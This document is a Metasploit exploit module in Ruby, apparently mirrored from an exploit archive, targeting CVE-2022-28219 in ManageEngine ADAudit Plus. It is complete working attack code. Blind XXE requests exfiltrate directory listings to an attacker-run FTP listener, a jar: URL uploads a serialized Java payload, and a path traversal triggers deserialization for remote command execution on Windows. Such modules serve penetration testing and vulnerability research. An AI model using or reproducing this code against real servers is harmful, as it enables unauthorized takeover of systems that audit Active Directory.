Share
## https://sploitus.com/exploit?id=PACKETSTORM:167997
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = ExcellentRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::HttpServer  
include Msf::Exploit::Remote::TcpServer  
include Msf::Exploit::CmdStager  
include Msf::Exploit::JavaDeserialization  
include Msf::Handler::Reverse::Comm  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'ManageEngine ADAudit Plus CVE-2022-28219',  
'Description' => %q{  
This module exploits CVE-2022-28219, which is a pair of  
vulnerabilities in ManageEngine ADAudit Plus versions before build  
7060: a path traversal in the /cewolf endpoint, and a blind XXE in,  
to upload and execute an executable file.  
},  
'Author' => [  
'Naveen Sunkavally', # Initial PoC + disclosure  
'Ron Bowes', # Analysis and module  
],  
'References' => [  
['CVE', '2022-28219'],  
['URL', 'https://www.horizon3.ai/red-team-blog-cve-2022-28219/'],  
['URL', 'https://attackerkb.com/topics/Zx3qJlmRGY/cve-2022-28219/rapid7-analysis'],  
['URL', 'https://www.manageengine.com/products/active-directory-audit/cve-2022-28219.html'],  
],  
'DisclosureDate' => '2022-06-29',  
'License' => MSF_LICENSE,  
'Platform' => 'win',  
'Arch' => [ARCH_CMD],  
'Privileged' => false,  
'Targets' => [  
[  
'Windows Command',  
{  
'Arch' => ARCH_CMD,  
'Platform' => 'win'  
}  
],  
],  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'RPORT' => 8081  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS]  
}  
)  
)  
  
register_options([  
OptString.new('TARGETURI_DESERIALIZATION', [true, 'Path traversal and unsafe deserialization endpoint', '/cewolf/logo.png']),  
OptString.new('TARGETURI_XXE', [true, 'XXE endpoint', '/api/agent/tabs/agentData']),  
OptString.new('DOMAIN', [true, 'Active Directory domain that the target monitors', nil]),  
OptInt.new('SRVPORT_FTP', [true, 'Port for FTP reverse connection', 2121]),  
OptInt.new('SRVPORT_HTTP2', [true, 'Port for additional HTTP reverse connections', 8888]),  
])  
  
register_advanced_options([  
OptInt.new('PATH_TRAVERSAL_DEPTH', [true, 'The number of `../` to prepend to the path traversal attempt', 20]),  
OptInt.new('FtpCallbackTimeout', [true, 'The amount of time, in seconds, the FTP server will wait for a reverse connection', 5]),  
OptInt.new('HttpUploadTimeout', [true, 'The amount of time, in seconds, the HTTP file-upload server will wait for a reverse connection', 5]),  
])  
end  
  
def srv_host  
if ((datastore['SRVHOST'] == '0.0.0.0') || (datastore['SRVHOST'] == '::'))  
return datastore['URIHOST'] || Rex::Socket.source_address(rhost)  
end  
  
return datastore['SRVHOST']  
end  
  
def check  
# Make sure it's ADAudit Plus by requesting the root and checking the title  
res1 = send_request_cgi(  
'method' => 'GET',  
'uri' => '/'  
)  
  
unless res1  
return CheckCode::Unknown('Target failed to respond to check.')  
end  
  
unless res1.code == 200 && res1.body.match?(/<title>ADAudit Plus/)  
return CheckCode::Safe('Does not appear to be ADAudit Plus')  
end  
  
# Check if it's a vulnerable version (the patch removes the /cewolf endpoint  
# entirely)  
res2 = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri("#{datastore['TARGETURI_DESERIALIZATION']}?img=abc")  
)  
  
unless res2  
return CheckCode::Unknown('Target failed to respond to check.')  
end  
  
unless res2.code == 200  
return CheckCode::Safe('Target does not have vulnerable endpoint (likely patched).')  
end  
  
CheckCode::Vulnerable('The vulnerable endpoint responds with HTTP/200.')  
end  
  
def exploit  
# List the /users folder - this is good to do first, since we can fail early  
# if something isn't working  
vprint_status('Attempting to exploit XXE to get a list of users')  
users = get_directory_listing('/users')  
unless users  
fail_with(Failure::NotVulnerable, 'Failed to get a list of users (check your DOMAIN, or server may not be vulnerable)')  
end  
  
# Remove common users  
users -= ['Default', 'Default User', 'All Users', 'desktop.ini', 'Public']  
if users.empty?  
fail_with(Failure::NotFound, 'Failed to find any non-default user accounts')  
end  
print_status("User accounts discovered: #{users.join(', ')}")  
  
# I can't figure out how to properly encode spaces, but using the 8.3  
# version works! This converts them  
users.map do |u|  
if u.include?(' ')  
u = u.gsub(/ /, '')[0..6].upcase + '~1'  
end  
u  
end  
  
# Check the filesystem for existing payloads that we should ignore  
vprint_status('Enumerating old payloads cached on the server (to skip later)')  
existing_payloads = search_for_payloads(users)  
  
# Create a serialized payload  
begin  
# Create a queue so we can detect when the payload is delivered  
queue = Queue.new  
  
# Upload payload to remote server  
# (this spawns a thread we need to clean up)  
print_status('Attempting to exploit XXE to store our serialized payload on the server')  
t = upload_payload(generate_java_deserialization_for_payload('CommonsBeanutils1', payload), queue)  
  
# Wait for something to arrive in the queue (basically using it as a  
# semaphor  
vprint_status('Waiting for the payload to be sent to the target')  
queue.pop # We don't need the result  
  
# Get a list of possible payloads (never returns nil)  
vprint_status("Trying to find our payload in all users' temp folders")  
possible_payloads = search_for_payloads(users)  
possible_payloads -= existing_payloads  
  
# Make sure the payload exists  
if possible_payloads.empty?  
fail_with(Failure::Unknown, 'Exploit appeared to work, but could not find the payload on the target')  
end  
  
# If multiple payloads appeared, abort for safety  
if possible_payloads.length > 1  
fail_with(Failure::UnexpectedReply, "Found #{possible_payloads.length} apparent payloads in temp folders - aborting!")  
end  
  
# Execute the one payload  
payload_path = possible_payloads.pop  
print_status("Triggering payload: #{payload_path}...")  
  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => "#{datastore['TARGETURI_DESERIALIZATION']}?img=#{'/..' * datastore['PATH_TRAVERSAL_DEPTH']}#{payload_path}"  
)  
  
if res&.code != 200  
fail_with(Failure::Unknown, "Path traversal request failed with HTTP/#{res&.code}")  
end  
ensure  
# Kill the upload thread  
if t  
begin  
t.kill  
rescue StandardError  
# Do nothing if we fail to kill the thread  
end  
end  
end  
end  
  
def get_directory_listing(folder)  
print_status("Getting directory listing for #{folder} via XXE and FTP")  
  
# Generate a unique callback URL  
path = "/#{rand_text_alpha(rand(8..15))}.dtd"  
full_url = "http://#{srv_host}:#{datastore['SRVPORT']}#{path}"  
  
# Send the username anonymous and no password so the server doesn't log in  
# with the password "Java1.8.0_51@" which is detectable  
# We use `end_tag` at the end so we can detect when the listing is over  
end_tag = rand_text_alpha(rand(8..15))  
ftp_url = "ftp://anonymous:password@#{srv_host}:#{datastore['SRVPORT_FTP']}/%file;#{end_tag}"  
serve_http_file(path, "<!ENTITY % all \"<!ENTITY send SYSTEM '#{ftp_url}'>\"> %all;")  
  
# Start a server to handle the reverse FTP connection  
ftp_server = Rex::Socket::TcpServer.create(  
'LocalPort' => datastore['SRVPORT_FTP'],  
'LocalHost' => datastore['SRVHOST'],  
'Comm' => select_comm,  
'Context' => {  
'Msf' => framework,  
'MsfExploit' => self  
}  
)  
  
# Trigger the XXE to get file listings  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(datastore['TARGETURI_XXE']).to_s,  
'ctype' => 'application/json',  
'data' => create_json_request("<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE data [<!ENTITY % file SYSTEM \"file:#{folder}\"><!ENTITY % start \"<![CDATA[\"><!ENTITY % end \"]]>\"><!ENTITY % dtd SYSTEM \"#{full_url}\"> %dtd;]><data>&send;</data>")  
)  
  
if res&.code != 200  
fail_with(Failure::Unknown, "XXE request to get directory listing failed with HTTP/#{res&.code}")  
end  
  
ftp_client = nil  
begin  
# Wait for a connection with a timeout  
select_result = ::IO.select([ftp_server], nil, nil, datastore['FtpCallbackTimeout'])  
  
unless select_result && !select_result.empty?  
print_warning("FTP reverse connection for directory enumeration failed - #{ftp_url}")  
return nil  
end  
  
# Accept the connection  
ftp_client = ftp_server.accept  
  
# Print a standard banner  
ftp_client.print("220 Microsoft FTP Service\r\n")  
  
# We need to flip this so we can get a directory listing over multiple packets  
directory_listing = nil  
  
loop do  
select_result = ::IO.select([ftp_client], nil, nil, datastore['FtpCallbackTimeout'])  
  
# Check if we ran out of data  
if !select_result || select_result.empty?  
# If we got nothing, we're sad  
if directory_listing.nil? || directory_listing.empty?  
print_warning('Did not receive data from our reverse FTP connection')  
return nil  
end  
  
# If we have data, we're happy and can break  
break  
end  
  
# Receive the data that's waiting  
data = ftp_client.recv(256)  
if data.empty?  
# If we got nothing, we're done receiving  
break  
end  
  
# Match behavior with ftp://test.rebex.net  
if data =~ /^USER ([a-zA-Z0-9_.-]*)/  
ftp_client.print("331 Password required for #{Regexp.last_match(1)}.\r\n")  
elsif data =~ /^PASS /  
ftp_client.print("230 User logged in.\r\n")  
elsif data =~ /^TYPE ([a-zA-Z0-9_.-]*)/  
ftp_client.print("200 Type set to #{Regexp.last_match(1)}.\r\n")  
elsif data =~ /^EPSV ALL/  
ftp_client.print("200 ESPV command successful.\r\n")  
elsif data =~ /^EPSV/ # (no space)  
ftp_client.print("229 Entering Extended Passive Mode(|||#{rand(1025..1100)})\r\n")  
elsif data =~ /^RETR (.*)/m  
# Store the start of the listing  
directory_listing = Regexp.last_match(1)  
else  
# Have we started receiving data?  
# (Disable Rubocop, because I think it's way more confusing to  
# continue the elsif train)  
if directory_listing.nil? # rubocop:disable Style/IfInsideElse  
# We shouldn't really get here, but if we do, just play dumb and  
# keep the client talking  
ftp_client.print("230 User logged in.\r\n")  
else  
# If we're receiving data, just append  
directory_listing.concat(data)  
end  
end  
  
# Break when we get the PORT command (this is faster than timing out,  
# but doesn't always seem to work)  
if !directory_listing.nil? && directory_listing =~ /(.*)#{end_tag}/m  
directory_listing = Regexp.last_match(1)  
break  
end  
end  
ensure  
ftp_server.close  
if ftp_client  
ftp_client.close  
end  
end  
  
# Handle FTP errors (which thankfully aren't as common as they used to be)  
unless ftp_client  
print_warning("Didn't receive expected FTP connection")  
return nil  
end  
  
if directory_listing.nil? || directory_listing.empty?  
vprint_warning('FTP client connected, but we did not receive any data over the socket')  
return nil  
end  
  
# Remove PORT commands, split at \r\n or \n, and remove empty elements  
directory_listing.gsub(/PORT [0-9,]+[\r\n]/m, '').split(/\r?\n/).reject(&:empty?)  
end  
  
def search_for_payloads(users)  
return users.flat_map do |u|  
dir = "/users/#{u}/appdata/local/temp"  
# This will search for the payload, but right now just print stuff  
listing = get_directory_listing(dir)  
unless listing  
vprint_warning("Couldn't get directory listing for #{dir}")  
next []  
end  
  
listing  
.select { |f| f =~ /^jar_cache[0-9]+.tmp$/ }  
.map { |f| File.join(dir, f) }  
end  
end  
  
def upload_payload(payload, queue)  
t = framework.threads.spawn('adaudit-payload-deliverer', false) do  
c = nil  
begin  
# We use a TCP socket here so we can hold the socket open after the HTTP  
# conversation has concluded. That way, the server caches the file in  
# the user's temp folder while it waits for more data  
http_server = Rex::Socket::TcpServer.create(  
'LocalPort' => datastore['SRVPORT_HTTP2'],  
'LocalHost' => srv_host,  
'Comm' => select_comm,  
'Context' => {  
'Msf' => framework,  
'MsfExploit' => self  
}  
)  
  
# Wait for the reverse connection, with a timeout  
select_result = ::IO.select([http_server], nil, nil, datastore['HttpUploadTimeout'])  
unless select_result && !select_result.empty?  
fail_with(Failure::Unknown, "XXE request to upload file did not receive a reverse connection on #{datastore['SRVPORT_HTTP2']}")  
end  
  
# Receive and discard the HTTP request  
c = http_server.accept  
c.recv(1024)  
c.print "HTTP/1.1 200 OK\r\n"  
c.print "Connection: keep-alive\r\n"  
c.print "\r\n"  
c.print payload  
  
# This will notify the other thread that something has arrived  
queue.push(true)  
  
# This has to stay open as long as it takes to enumerate all users'  
# directories to find then execute the payload. ~5 seconds works on  
# a single-user system, but I increased this a lot for production.  
# (This thread should be killed when the exploit completes in any case)  
Rex.sleep(60)  
ensure  
http_server.close  
if c  
c.close  
end  
end  
end  
  
# Trigger the XXE to get file listings  
path = "/#{rand_text_alpha(rand(8..15))}.jar!/file.txt"  
full_url = "http://#{srv_host}:#{datastore['SRVPORT_HTTP2']}#{path}"  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(datastore['TARGETURI_XXE']).to_s,  
'ctype' => 'application/json',  
'data' => create_json_request("<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE data [<!ENTITY % xxe SYSTEM \"jar:#{full_url}\"> %xxe;]>")  
)  
  
if res&.code != 200  
fail_with(Failure::Unknown, "XXE request to upload payload failed with HTTP/#{res&.code}")  
end  
  
return t  
end  
  
def serve_http_file(path, respond_with = '')  
# do not use SSL for the attacking web server  
if datastore['SSL']  
ssl_restore = true  
datastore['SSL'] = false  
end  
  
start_service({  
'Uri' => {  
'Proc' => proc do |cli, _req|  
send_response(cli, respond_with)  
end,  
'Path' => path  
}  
})  
  
datastore['SSL'] = true if ssl_restore  
end  
  
def create_json_request(xml_payload)  
[  
{  
'DomainName' => datastore['domain'],  
'EventCode' => 4688,  
'EventType' => 0,  
'TimeGenerated' => 0,  
'Task Content' => xml_payload  
}  
].to_json  
end  
end